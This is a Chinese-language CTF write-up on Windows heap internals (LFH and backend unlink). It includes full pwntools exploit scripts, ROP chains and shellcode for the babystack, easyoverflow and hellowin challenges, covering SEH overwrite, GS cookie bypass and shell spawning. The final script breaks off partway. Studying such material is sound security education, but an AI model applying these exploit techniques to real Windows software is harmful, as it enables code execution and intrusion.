EncodeOffsets是如下四个值异或之后的值sizeof(userblock header),LFH keys, Userblock address, _LFH_HEAP address

当经过LFH分配堆块的时候其堆头的数据如下

1
2
3
4
5
6
+0x000 PreviousBlockPrivateData : Ptr64 Void
+0x008 SubSegmentCode : Uint4B // 编码过后的metadata,可以推导出userblock的位置
+0x00c PreviousSize : Uint2B //该堆块在Userblock中的位置
+0x00e SegmentOffset : UChar
+0x00e LFHFlags : UChar
+0x00f UnusedBytes : UChar //busy即被使用中时 UnusedBytes&0x80=1,Free状态下其为0x80用来表示是LFH分配的堆块

最终的结构体如下

图片无法显示,请联系作者

堆分配

这里首先说一下LFH的初始化,每一次malloc如果未启用LFH的话就会在FrontEndHeapUsedData的对应的size位加0x21。当判断FrontEndHeapUsageData[x] & 0x1f > 0x10的时候也就是分配大于16次的时候将会在17次对LFH进行初始化,创建BlocksIndex。第18次分配的时候通过mmap建立并初始化FrontEndHeap,初始化SegmentInfoArrays[idx],此时FontEndHeapUsedData中对应size位置已经变成了0x4。在第19次分配的时候将直接从FrontEndHeap中对应的SegmentInfo中的ActiveSubsegment中的UserBlock中随机返回一个堆块。

主要分为三种情况

  1. size < 0x4000

    基本上主要分配都会在RtlpAllocateHeap。首先会去看该size对应的FrontEndHeapStatusBitmap是否启用了LFH。没有的话则在Size对应的FrontEndHeapUageData加上0x21。并且此时检查值是否超过了0xff00或者&0x1f>0x10,通过则启用LFH

    • 当启用了LFH的时候(RtlpLowFragHeapAllocFromContext函数分配),将首先判断ActiveSubsegment中是否存在可分配的chunk(通过ActibeSubsegment->AggregateExchg->depth判断)。如果不存在则通过CachedItem更新ActiveSubsegment。之后取RtlpLowFragHeapRandomData[x]的值(x是一字节,该数组存储有随机数据)最后获得的Userblock中的index的值RtlpLowFragHeapRandomData[x]*maxidx >> 7,检查bitmap是已经分配,如果已经分配则取出的是最近的下一个未分配的堆块,并设置bitmap。检查(unused byte & 0x3f)!=0表示该chunkfree之后,设置indexunused data返回给用户

    • 未启用LFH的时候则会首先判断ListHint中是否存在值,如果有刚好适合大小的chunkListHint则移除ListHint并且看该chunk->Flink是否也是同样大小的size如果是则在ListHint->Flink中填上该chunk,不是则清空。最后则unlinkchunk,将其从ListHint链表中删除,设置该chunkheader,并返回给用户。

      如果ListHint中对应size中没有合适的值,则在更大的ListHint中寻找,如果找到则和上述操作相同。只不过不同的是会将更大的chunk进行切割,返回切割之后的chunk

      如果FreeList中没有则尝试extend heap即增大heap的空间,在新增的heap空间中分配chunk,切割之后的部分放回ListHint

  2. 0x4000 < size <= 0xff000

    除了没有对LFH的操作之外,其余与size < 0x4000相同。

  3. size > 0xff000 该阈值时通过VirtualMemoryThreshold << 4获取的

    直接使用ZwAllocateVirtualMemory函数进行分配,类似于mmap一大块,并将其插入到_HEAP_VirtualAllocdBlocks的链表中

堆释放

  1. size <= 0xff000

    • 如果释放的堆块是LFH分配的,则在释放的时候首先用chunk header找到对应的Userblock,找到对应的Subsegment。更新chunk headerunused byte,清楚对应的bitmap,更新AggregateExchg。如果freechunk不属于当前的ActiveSubsegment,则会看看当前的chunk是否能够放进cachedItems,如果可以就放入。
    • 如果是后端堆分配器分配的则先检查alignment,检查unused byte判断当前堆块的状态。将FrontEndHeapUsagedData-1。接着判断前后的chunk是否为free状态,如果是的话则进行合并。更新ListHint
  2. size > 0xff000

    检查该chunklinked list,并将其从_HEAP->VirtualAllocdBlocks移除,接著使⽤用 RtlpSecMemFreeVirtualMemorychunk 整個 munmap 掉。

LFH 攻击

存在UAF漏洞。由于LFH返回的是一个随机的堆块,在这种情况下我们很难利用,但是我们可以首先申请一个堆块A,然后用B堆喷满Userblock,之后free(A),malloc(B)来返回特定的堆块。也就是通过malloc->free->malloc的方式。

BackEnd 攻击

unlink流程如下

  1. 首先通过prev_size找到低地址处的堆块,判断堆块是否为free状态,如果是则解密prev_chunk header,验证SmallTagIndex即对flag,size进行验证。
  2. 检查双向链表的完整性,即prev_chunk->Blink->Flink==prev_chunk->Flink->Blink==prev_chunk
  3. 找到对应的BlocksIndex,判断其size是否合法,即prev_chunk->size < BlocksIndex->ArraySize
  4. 检查ListHint。判断其是否是ListHint指向的第一个堆块,如果是的话则根据prev_chunk->Flink找到下一个堆块,如果size相同则更新LinkHint
  5. unlink prev_chunkprev_chunk->Blink->Flink=prev_chunk->Flink;prev_chunk->Flink->Blink=prev_chunk->Blink
  6. 更新prev_chunk->size和释放堆块相邻高地址处的chunk->prev_size
  7. 判断高地址相邻的chunk是否处于free
  8. 将合并后的堆块根据其size插入到freeList中对应的位置,同时更新对应的ListHint
  9. 修改合并后的chunk header。加密。

我们将堆初始布局如下,首先申请了五个堆块,分别是P,Q,R,S,T,依次释放Q,S。此时布局如下,这里图中有些问题,R堆块的大小应该是0x110,否则不满足从小到大排列的条件。

图片无法显示,请联系作者

之后将QFlink,Blink分别写为&Q-8,&Q。也就是buf_list,buf_list+8的地址。

图片无法显示,请联系作者

之后释放P,此时检测到高地址的堆块是free状态,会发生合并,那么解密验证堆头部的数据,由于我们没有修改堆头,那么这里的检查是可以通过的,接下来就是进行双向链表完整性的检查Q->Blink->Flink==Q->Flink->Blink==Q。那么这里可以通过检查。

由于此时ListHint中的S!=Q,因此不会进行任何的处理接下来就是执行unlink写的操作了。Q->Blink->Flink=Q->Flink;Q->Flink->Blink=Q->Blink,也就是会将buf_list中的Q指针覆写为buf_list+0x8的地址,这样就可以控制buf_list的内容了,实现了任意读写。

合并完成之后需要将合并之后的堆块插入到freelist中去,由于合并的堆块较大,因此会插入到A前面,这里会进行一个检查A->Blink->Flink==A,检查Q->Flink==A(不知道为什么还要检查这一步),这里显然会failed,但是并不会abort,只是不会插入堆块。将合并后的堆块对应的ListHint更新之后即完成free

至此我们利用unlink攻击完成了任意读写。

Control RIP

由于windows中并不像Linux那样含有hook函数,因此只能通过覆写返回地址来进行getshell。这样的话首先需要泄露栈地址。目前应该是有两种方法

  • 通过ImgaeBase地址获取其导入表IAT中的Kernel32中的某些函数的地址从而获得Kernel32的地址,利用同样的方法从Kernel32中获取得到KernelBase的地址,KernleBase中存在一个BasepFilterInfo,它是指向一个heap的结构,由于未初始化的问题,里面就会包含有Stack Pointer,进而获取栈地址。更详细的分析看这
  • 如果上面描述的方法失败的话,还可以利用ntdll!PebLdr中的PEB附近的地址获取PEB的地址,而PEB前后一个页面之内通常就是TEBTEB中会存储有StackBase也就是栈尾段的地址,由于我们之前会获取的得到ImageBase的地址,那么mian函数的返回地址的值我们是知道的,通过在栈中全局搜索该值,我们就会得到返回地址所在的地址。

在获取得到ret address之后,我们就可以直接覆写返回地址,在函数返回的时候劫持程序控制流。一种是通过ROP直接orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# by xxrw
_open = ucrtbase + 0xA2A30 # (0x0007ffcad912a30-0x7ffcad870000)
_read = ucrtbase + 0x16270 # (0x0007ffcad886270-0x7ffcad870000)
puts = ucrtbase + 0x80760 # (0x0007ffcad8f0760-0x7ffcad870000)

rop = p64(pop_rdx_rcx_r8_r9_r10_r11)
rop += p64(0)
rop += p64(flag_address)
rop += p64(0) * 4
rop += p64(_open)
rop += p64(pop_rdx_rcx_r8_r9_r10_r11)
rop += p64(0) * 6
rop += p64(pop_rdx_rcx_r8_r9_r10_r11)
rop += p64(imagebase + 0x6800)
rop += p64(3)
rop += p64(0x40)
rop += p64(0) * 3
rop += p64(_read)
rop += p64(pop_rdx_rcx_r8_r9_r10_r11)
rop += p64(0) * 6
rop += p64(pop_rdx_rcx_r8_r9_r10_r11)
rop += p64(0)
rop += p64(imagebase + 0x6800)
rop += p64(0) * 4
rop += p64(puts)

另一种则是通过调用VirtualProtect/VirtualAlloc,获取关闭了NX的内存空间,直接执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
CreateFileA_address = kernel_dll + 0x22080
ReadFile_address = kernel_dll + 0x22410
GetStdHandle_address = kernel_dll + 0x1c620
WriteFile_address = kernel_dll + 0x22500

shellcode = '''
sub rsp, 0x1000 ;// to prevent underflowing

mov rax, 0x7478742e67616c66 ;// flag.txt
mov [rsp + 0x100], rax
mov byte ptr [rsp + 0x108], 0
lea rcx, [rsp + 0x100]
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
mov dword ptr[rsp + 0x20], 3
mov dword ptr[rsp + 0x28], 0x80
mov [rsp + 0x30], r9
mov rax, %d
call rax ;// CreateFile

mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, 0x200
lea r9, [rsp + 0x30]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// ReadFile

mov ecx, 0xfffffff5 ;// STD_OUTPUT_HANDLE
mov rax, %d
call rax ;// GetStdHandle

mov rcx, rax
lea rdx, [rsp + 0x200]
mov r8d, [rsp + 0x30]
lea r9, [rsp + 0x40]
xor eax, eax
mov [rsp + 0x20], rax
mov rax, %d
call rax ;// WriteFile

mov rax, %d
call rax ;// exit
''' % ( CreateFileA_address, ReadFile_address,GetStdHandle_address ,WriteFile_address , exit_address)

shellcode = asm(shellcode)
shellcode_address = edit_ret_address + 0x80 + 0x10

VirtualProtect = kernel_dll + 0x1B410
payload = flat([
pop_rdx_rcx_r8_r9_r10_r11, 0x1000, shellcode_address & 0xfffffffffffff000,
0x40, shellcode_address + 0x500, 0, 0,
VirtualProtect,
shellcode_address
])

Segment 段堆

调试

使用的是EX师傅的这个脚本,在windows中启动一个服务,然后就可以在linux通过nc进行连接。在python脚本中添加一个raw_input,运行到此时的时候通过windbg进行attach,下断点就可以进行调试了。

HITB GSEC babystack

检查一下程序开启的保护

图片无法显示,请联系作者

程序里存在很明显的栈溢出

图片无法显示,请联系作者

程序一开始会输出栈地址和main函数地址,这样就不用关心地址随机化的问题了,接着输入的如果是yes的话则会泄露指定内存地址中存储的信息,如果输入的是no的话则会触发栈溢出。此外在main函数中还隐藏着直接获得cmd的汇编指令

图片无法显示,请联系作者

利用

通过栈溢出可以直接控制SEH链。而且程序中存在任意的内存读,因此首先将security_cookie的值读取出来,security_cookie的地址可以通过main_addrss的地址获取。ebp的数值可以通过stack_address的值获取。泄露ebp-0x10位置存储的SEH链的起始地址也就是next指针的数值。之后就可以伪造fake secop table结构体了,GS的栈保护的数值可以通过ebp,cookie异或得到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# encoding=utf-8
from pwn import *

context.log_level = "debug"
p = remote('192.168.184.1', 10000)
one_gadget = 0x0


def read_value(address):
p.sendlineafter("know more?\r\n", "yes")
p.sendlineafter("want to know\r\n", str(address))
p.recvuntil("value is 0x")
return int(p.recvline().strip(b"\r\n"), 16)


security_cookie_offset = 0x00404004 - 0x004010B0
shell_offset = 0x0040138D - 0x004010B0


p.recvuntil("stack address = 0x")
stack_address = int(p.recvline().strip(b"\n"), 16)
p.recvuntil("main address = 0x")
main_address = int(p.recvline().strip(b"\n"), 16)
log.success("stack address {}".format(hex(stack_address)))
log.success("main address {}".format(hex(main_address)))

raw_input()

security_cookie_address = security_cookie_offset + main_address
security_cookie = read_value(security_cookie_address)
ebp_address = stack_address + 0x9c
seh_next = read_value(ebp_address - 0x10)
gs_value = read_value(ebp_address - 0x1c)
shell_address = main_address + shell_offset
_except_handler_address = main_address + 0x00401460 - 0x004010B0

fake_scope_table = p32(0x0FFFFFFE4)
fake_scope_table += p32(0)
fake_scope_table += p32(0x0FFFFFF20)
fake_scope_table += p32(0)
fake_scope_table += p32(0x0FFFFFFFE)
fake_scope_table += p32(shell_address)
fake_scope_table_address = stack_address + 0x4

p.sendlineafter("know more?\r\n", b"n")
payload = b"a"*4 + fake_scope_table.ljust(0x9c-0x1c-0x4, b"a")
payload += p32(ebp_address ^ security_cookie) # ebp-0x1c
payload += b"a"*8
payload += p32(seh_next) # ebp-0x10
payload += p32(_except_handler_address) # -0xc
payload += p32(fake_scope_table_address ^ security_cookie) # -0x8
payload += p32(0)
p.sendline(payload)
log.success("fake scope tabel address {}".format(hex(fake_scope_table_address)))

p.sendlineafter("know more?\r\n", "yes")
p.sendlineafter("want to know\r\n", "0")

p.interactive()

2020 强网杯 easyoverflow

程序存在一个明显的栈溢出

图片无法显示,请联系作者

看一下程序开启了什么保护

图片无法显示,请联系作者

这题目存在栈溢出,而且并没有开启CFG保护,因此我们直接覆盖main函数的返回地址即可,但是首先我们需要先泄露GS的值,以及security_cookie的值。

这里泄露栈中GS的值直接利用puts函数连续打印即可,但是security_cookie的值存储在了.data段中,因此需要使用rop,调用puts函数进行输出,在StackOverflow这个pe文件中存在一个puts的调用,因此只要提前设置好rcx的值为需要输出的地址就好了。

在获取得到security_cookie的值之后就可以进行rop了,因为循环结束之后会进行add esp,0x130的操作,因此rsp改变,需要填充的GS值也相应的发生改变。

调用system的位置在ucrtbase动态链接库中,因此还需要泄露该库的地址,read函数是从该库import的,因此泄露了read函数的基址就可以得到ucrtbase库的基址,接着调用system函数即可。

图片无法显示,请联系作者 图片无法显示,请联系作者
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# encoding=utf-8
from pwn import *

context.arch = "amd64"
context.log_level = "debug"

p = remote('10.128.225.49', 1000)


def leak(size):
p.sendafter("input:\r\n", "a"*size)
p.recvuntil("buffer:\r\n")
p.recvuntil("a"*size)


# ntdll
p_rcx_r = 0xA00FE
p_rsi_rdi_r = 0xA076F

# pe file
puts_offset = 0x10a6
read_import = 0x2178
cookie_offset = 0x3008
ret_address = 0x10ca

# ucrtbase
system_address = 0xae5d0
cmd_address = 0xd0c00

raw_input()
leak(0x100)
gs_value = u64(p.recv(6).ljust(8, b"\x00"))
log.success("gs_value {}".format(hex(gs_value)))

# leak(0x118)
# pe_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x12f4
# log.success("pe base {}".format(hex(pe_base)))
pe_base = 0x7ff649100000

leak(0x188)
ntdll_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x4cec1
log.success("ntdll base {}".format(hex(ntdll_base)))
ntdll_base = 0x7ffc2f6d0000

payload = b"a"*0x100 + p64(gs_value)
payload += b"a"*0x8 + p64(1)
payload += p64(p_rcx_r + ntdll_base) + p64(cookie_offset + pe_base)
payload += p64(puts_offset + pe_base)
p.sendafter("input:\r\n", payload)
p.recvuntil("buffer:\r\n")
p.recvline()
security_cookie = u64(p.recv(6).ljust(8, b"\x00"))
log.success("security cookie {}".format(hex(security_cookie)))

old_rsp = (security_cookie ^ gs_value)
log.success("old rsp {}".format(hex(old_rsp)))
new_rsp = old_rsp + 0x130+0x20
log.success("new rsp {}".format(hex(new_rsp)))

new_gs_value = security_cookie ^ new_rsp
log.success("new gs value {}".format(hex(new_gs_value)))
payload = b"a"*0x100 + p64(new_gs_value)
payload += b"a"*0x8 + p64(1)
payload += p64(p_rcx_r + ntdll_base) + p64(read_import + pe_base)
payload += p64(puts_offset + pe_base)
p.sendafter("input:\r\n", payload)
p.recvuntil("buffer:\r\n")
p.recvline()
ucrtbase_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x17bc0
log.success("ucrtbase address {}".format(hex(ucrtbase_base)))
# ucrtbase_base = 0x7ffc2d070000

new_rsp += 0x130 + 0x20
new_gs_value = security_cookie ^ new_rsp
payload = b"a"*0x100 + p64(new_gs_value)
payload += b"a"*0x8 + p64(1)
payload += p64(p_rsi_rdi_r + ntdll_base) + p64(0)*2
payload += p64(p_rcx_r + ntdll_base) + p64(cmd_address + ucrtbase_base)
payload += p64(system_address + ucrtbase_base)
p.sendafter("input:\r\n", payload)
p.recvline()
p.interactive()

getshell之后输入type flag即可

图片无法显示,请联系作者

2020 TSCTF hellowin

堆溢出的一个题目。

图片无法显示,请联系作者 图片无法显示,请联系作者

不允许创建子进程之后我们就没办法直接执行system("cmd.exe")

泄露imagebase

程序首先读取了name注意到这里存在一个格式化字符串漏洞但是执行完毕之后就退出了

图片无法显示,请联系作者

我们注意到windows中动态链接库加载的基址在一段时间内是不会发生变化的,因此可以首先利用格式化字符串泄露地址,那么这里泄露的是什么地址呢。由于windows中的参数传递与linux中的不同,其通过RCX,RDX,R8,R9,stack传递参数。

泄露出来的地址第一个是ucrtbase的基址,第二三个是stack的基址,第四个是个堆地址,第五个是image的基址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#format str vul to get ucrtbase.dll address and image base address
payload = "%p%p%p%p%p"
raw_input()
p.sendlineafter("me your name:\r\n", payload)
p.recvuntil("Hello! ")
address_str = p.recvuntil("\r\n", drop=True)
ucrtbase = int(address_str[:16], 16) - 0xeb750
log.success("ucrtbase dll address {}".format(hex(ucrtbase)))
imagebase = int(address_str[-16:], 16) - 0x1b4a
log.success("elf image address {}".format(hex(imagebase)))#format str vul to get ucrtbase.dll address and image base address
payload = "%p%p%p%p%p"
raw_input()
p.sendlineafter("me your name:\r\n", payload)
p.recvuntil("Hello! ")
address_str = p.recvuntil("\r\n", drop=True)
ucrtbase = int(address_str[:16], 16) - 0xeb750
log.success("ucrtbase dll address {}".format(hex(ucrtbase)))
imagebase = int(address_str[-16:], 16) - 0x1b4a
log.success("elf image address {}".format(hex(imagebase)))

unlink获取任意地址读写

由于程序存在一个堆溢出,我们可以利用这个溢出构造unlink,实现chunk2可以控制chunk3的指针,以实现任意地址读写。在windows中堆块的头部8字节会用_HEAP->encoding进行异或加密,因此我们需要首先泄露出free之后的堆块头部,这里注意的是正常使用中的堆块与释放了的堆块的头部并不相同。

泄露之后即可以覆写chunk2 Flink,Blinkbuf_list+0x8,buf_list+0x10,也就是&chunk2-0x8,&chunk2,在发生unlink的时候就会将buf_list+0x10的位置覆写为buf_list+0x10。详细分析见上

之后我们将此位置覆写为buf_list+0x18,那么此时就可以通过chunk2来控制chunk3了,实现了任意地址读写。但是需要注意的是在任意读写之前需要通过magic函数将uselistchunk2对应的位置置为1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:000> dq overflow+6620 l6
00007ff6`f3046620 00000229`94cc0720 00000229`94cc0780
00007ff6`f3046630 00007ff6`f3046630 00000229`94cc0840
00007ff6`f3046640 00000229`94cc08a0 00000229`94cc0900
0:000> g
Breakpoint 0 hit
overflow+0x1b66:
00007ff6`f3041b66 e895f9ffff call overflow+0x1500 (00007ff6`f3041500)
0:000> g
Breakpoint 0 hit
overflow+0x1b66:
00007ff6`f3041b66 e895f9ffff call overflow+0x1500 (00007ff6`f3041500)
0:000> dq overflow+6620 l6
00007ff6`f3046620 00000229`94cc0720 00000229`94cc0780
00007ff6`f3046630 00007ff6`f3046638 00000229`94cc0840
00007ff6`f3046640 00000229`94cc08a0 00000229`94cc0900

我们看到已经可以通过chunk2控制chunk3的指针了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# dbg point
# leak free header avoid header check
raw_input()
delete(2)
free_heap_header = b''
while len(free_heap_header) < 8:
head_length = len(free_heap_header)
edit(1, 0x58 + head_length, b'a' * (0x58 + head_length) + b"\n")
show(1)
p.recvuntil('a' * (0x58 + head_length))
free_heap_header += p.recvuntil(b'\r\n', drop=True) + b"\x00"

free_heap_header = u64(free_heap_header.ljust(8, b"\x00")[:8])
edit(1, 0x60, b'a' * 0x58 + p64(free_heap_header) + b"\n")
log.success("free heap header {}".format(hex(free_heap_header)))

puts_iat = imagebase + 0x31b8
Sleep_ida = imagebase + 0x3010
buf_list = imagebase + 0x6620
inused_list = imagebase + 0x66b8

# unlink, use chunk 2 to control chunk3's ptr
delete(4)
edit(1, 0x58 + 0x18, b"a"*0x58 + p64(free_heap_header) + p64(buf_list + 0x8) + p64(buf_list + 0x10) + b"\n")
delete(1)
# set chunk2's userlist point to 1, that we can edit chunk2 when it has been freed
magic(2)
edit(2, 8, p64(buf_list + 0x18) + b"\n") # here, we can control chunk3 by chunk2

泄露Stack Base value

由于我们要控制ret value来执行rop chain。那么首先需要获得的就是ret address。这里采用的是通过TEB StackBase的方法,那么首先就需要泄露出ntdll的地址,ntdll的地址可以通过kernel32的中的IAT表泄露,而kernel32的地址则可以通过imageIAT表泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0:000> r $peb
$peb=00000084e6af3000
0:000> r $teb
$teb=00000084e6af4000
0:000> dq ntdll!pebldr-0x50
00007ff9`fd3d5350 00000000`00000000 00000000`00000000
00007ff9`fd3d5360 00000000`00000080 00000084`e6af3340
00007ff9`fd3d5370 00000000`00000000 00000229`94cf25f0
00007ff9`fd3d5380 00007ff9`fd270000 00000000`00000000
00007ff9`fd3d5390 00000000`00000000 00000000`00000000
00007ff9`fd3d53a0 00000001`00000058 00000000`00000000
00007ff9`fd3d53b0 00000229`94cf2780 00000229`94cf4220
00007ff9`fd3d53c0 00000229`94cf2790 00000229`94cf4230
0:000> !teb
TEB at 00000084e6af4000
ExceptionList: 0000000000000000
StackBase: 00000084e6d00000
StackLimit: 00000084e6cfd000
SubSystemTib: 0000000000000000
FiberData: 0000000000001e00
ArbitraryUserPointer: 0000000000000000
Self: 00000084e6af4000
EnvironmentPointer: 0000000000000000
ClientId: 00000000000017c4 . 0000000000000c38
RpcHandle: 0000000000000000
Tls Storage: 00000084e6af4058
PEB Address: 00000084e6af3000
LastErrorValue: 0
LastStatusValue: c00700bb
Count Owned Locks: 0
HardErrorMode: 0

我们可以看到pebldr偏移0x38的位置存储了一个peb附近的地址,而peb偏移0x1000的位置就是TEBTEB中存储了StackBase也就是栈末尾地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# use Sleep function in image IAT to leak kernel32.dll address
edit(2, 8, p64(Sleep_ida) + b"\n")
show(3)
p.recvuntil("content: ")
kernel_dll = u64(p.recvuntil(b"\r\n", drop=True).ljust(8, b"\x00")) - 0x1b3f0
# kernel32 = 0x7ff9919e0000
log.success("kernel address {}".format(hex(kernel_dll)))

# use NtCreateSection function in kernel32.dll IAT to leak ntdll.dll address
NtCreateSection_iat = kernel_dll + 0x7a098
edit(2, 8, p64(NtCreateSection_iat) + b"\n")
show(3)
p.recvuntil("content: ")
ntdll = u64(p.recvuntil(b"\r\n", drop=True).ljust(8, b"\x00")) - 0x9ffa0
# ntdll = 0x7ff993120000
log.success("ntdll address {}".format(hex(ntdll)))

# use ntdll!PebLdr to leak peb, get peb and then StackBase value
ntdll_PebLdr_addr = 0x1653a0 + ntdll
edit(2, 8, p64(ntdll_PebLdr_addr - 0x38) + b"\n")
show(3)
p.recvuntil("content: ")
Peb_addr = u64(p.recvuntil(b"\r\n", drop=True).ljust(8, b"\x00")) - 0x340
Teb_addr = Peb_addr + 0x1000
log.success("peb address {}".format(hex(Peb_addr)))
log.success("teb address {}".format(hex(Teb_addr)))

## leak StackBase value stored in TEB
edit(2, 8, p64(Teb_addr + 8) + b'\n')
edit(3, 2, b"\x01\x01\n")
result = b''
while len(result) < 8:
result_length = len(result)
edit(2, 8, p64(Teb_addr + 8 + result_length) + b'\n')
show(3)
p.recvuntil("content: ")
result += p.recvuntil(b'\r\n', drop=True) + b'\x00'
StackBase = u64(result[:8]) - u16("\x01\x01")
edit(2, 8, p64(Teb_addr + 8) + b'\n')
edit(3, 2, b"\x00\x00\n")
log.success('StackBase: ' + hex(StackBase))

获取main_ret_address

注意到这里所说的main_ret_address指的是栈地址。

虽然我们知道了StackBase,但是受到ASLR的影响,main函数的返回地址相对于StackBase来说并不是固定的,这和Linux相同。但是由于我们已经知道了程序的基址,相应的我们也知道main函数的返回地址的值,也就是ret address这个栈地址中存储的内容。那么结合我们拥有的任意读写能力,就可以全局遍历栈找到存储这个值的栈地址,这就是main ret address。由于返回地址肯定在栈的高地址处,因此这里从后向前读。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# force stack start at StackBase to get main ret address
edit(2, 8, p64(inused_list + 3) + b"\n")
edit(3, 4, p8(1)*4 + b"\n")
main_ret_content = imagebase + 0x20d0
main_ret_address = 0
for addr in range(StackBase - 0x1000, StackBase-0x10, 0x10)[::-1]:
if main_ret_address == 0:
edit(2, 0x20, p64(addr + 0x18) + p64(addr + 0x10) + p64(addr + 8) + p64(addr) + b'\n')
for i in range(3, 3 + 4):
show(i)
p.recvuntil("content: ")
result = p.recvuntil(b'\r\n', drop=True)[:8]
content = u64(result.ljust(8, b'\x00'))
if content == main_ret_content:
main_ret_address = addr + (3-(i-3)) * 8
break
edit_ret_address = main_ret_address - 0x50
log.success("main ret address {}".format(hex(main_ret_address)))
log.success("edit ret address {}".format(hex(edit_ret_address)))

ROP

这里可以采取两种ROP的方式,具体请参考unlink Control RIP部分

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
# encoding=utf-8
from pwn import *

context.log_level = "debug"
context.arch = "amd64"
# p = remote('10.104.255.224', 8888)
p = remote('192.168.12.132', 10001)
one_gadget = 0x0


def add(size, content=b"1\n"):
p.sendlineafter("*****]\r\n", "1")
p.sendlineafter("input size:\r\n", str(size))
p.sendafter("input content:\r\n", content)


def show(index):
p.sendlineafter("*****]\r\n", "2")
p.sendlineafter("Input index:\r\n", str(index))


def edit(index, size, content):
p.sendlineafter("*****]\r\n", "3")
p.sendlineafter("Input index:\r\n", str(index))
p.sendlineafter("input size:\r\n", str(size))
p.sendafter("input content:\r\n", content)


def delete(index):
p.sendlineafter("*****]\r\n", "4")
p.sendlineafter("Input index:\r\n", str(index))


def magic(index):
p.sendlineafter("*****]\r\n", "88")
p.sendlineafter("Input index:\r\n", str(index))


def shut():
p.sendlineafter("*****]\r\n", "5")


p.recvuntil("Now,are you ready?")
p.sendline("Yes,me is!!!")

# #format str vul to get ucrtbase.dll address and image base address
# payload = "%p%p%p%p%p"
# raw_input()
# p.sendlineafter("me your name:\r\n", payload)
# p.recvuntil("Hello! ")
# address_str = p.recvuntil("\r\n", drop=True)
# ucrtbase = int(address_str[:16], 16) - 0xeb750
# log.success("ucrtbase dll address {}".format(hex(ucrtbase)))
# imagebase = int(address_str[-16:], 16) - 0x1b4a
# log.success("elf image address {}".format(hex(imagebase)))

# ucrtbase = 0x7ff9f9850000
# imagebase = 0x7ff6f3040000
ucrtbase = 0x7ff9f9850000
imagebase = 0x7ff6f3040000
name = "1212"
p.sendlineafter("me your name:\r\n", name)
p.sendlineafter("me your password:\r\n", name)

for i in range(6):
add(0x58)

# dbg point
# leak free header avoid header check
raw_input()
delete(2)
free_heap_header = b''
while len(free_heap_header) < 8:
head_length = len(free_heap_header)
edit(1, 0x58 + head_length, b'a' * (0x58 + head_length) + b"\n")
show(1)
p.recvuntil('a' * (0x58 + head_length))
free_heap_header += p.recvuntil(b'\r\n', drop=True) + b"\x00"

free_heap_header = u64(free_heap_header.ljust(8, b"\x00")[:8])
edit(1, 0x60, b'a' * 0x58 + p64(free_heap_header) + b"\n")
log.success("free heap header {}".format(hex(free_heap_header)))

puts_iat = imagebase + 0x31b8
Sleep_ida = imagebase + 0x3010
buf_list = imagebase + 0x6620
inused_list = imagebase + 0x66b8

# unlink, use chunk 2 to control chunk3's ptr
delete(4)
edit(1, 0x58 + 0x18, b"a"*0x58 + p64(free_heap_header) + p64(buf_list + 0x8) + p64(buf_list + 0x10) + b"\n")
delete(1)
# set chunk2's userlist point to 1, that we can edit chunk2 when it has been freed
magic(2)
edit(2, 8, p64(buf_list + 0x18) + b"\n") # here, we can control chunk3 by chunk2

# use Sleep function in image IAT to leak kernel32.dll address
edit(2, 8, p64(Sleep_ida) + b"\n")
show(3)
p.recvuntil("content: ")
kernel_dll = u64(p.recvuntil(b"\r\n", drop=True).ljust(8, b"\x00")) - 0x1b3f0
# kernel32 = 0x7ff9919e0000
log.success("kernel address {}".format(hex(kernel_dll)))

# use NtCreateSection function in kernel32.dll IAT to leak ntdll.dll address
NtCreateSection_iat = kernel_dll + 0x7a098
edit(2, 8, p64(NtCreateSection_iat) + b"\n")
show(3)
p.recvuntil("content: ")
ntdll = u64(p.recvuntil(b"\r\n", drop=True).ljust(8, b"\x00")) - 0x9ffa0
# ntdll = 0x7ff993120000
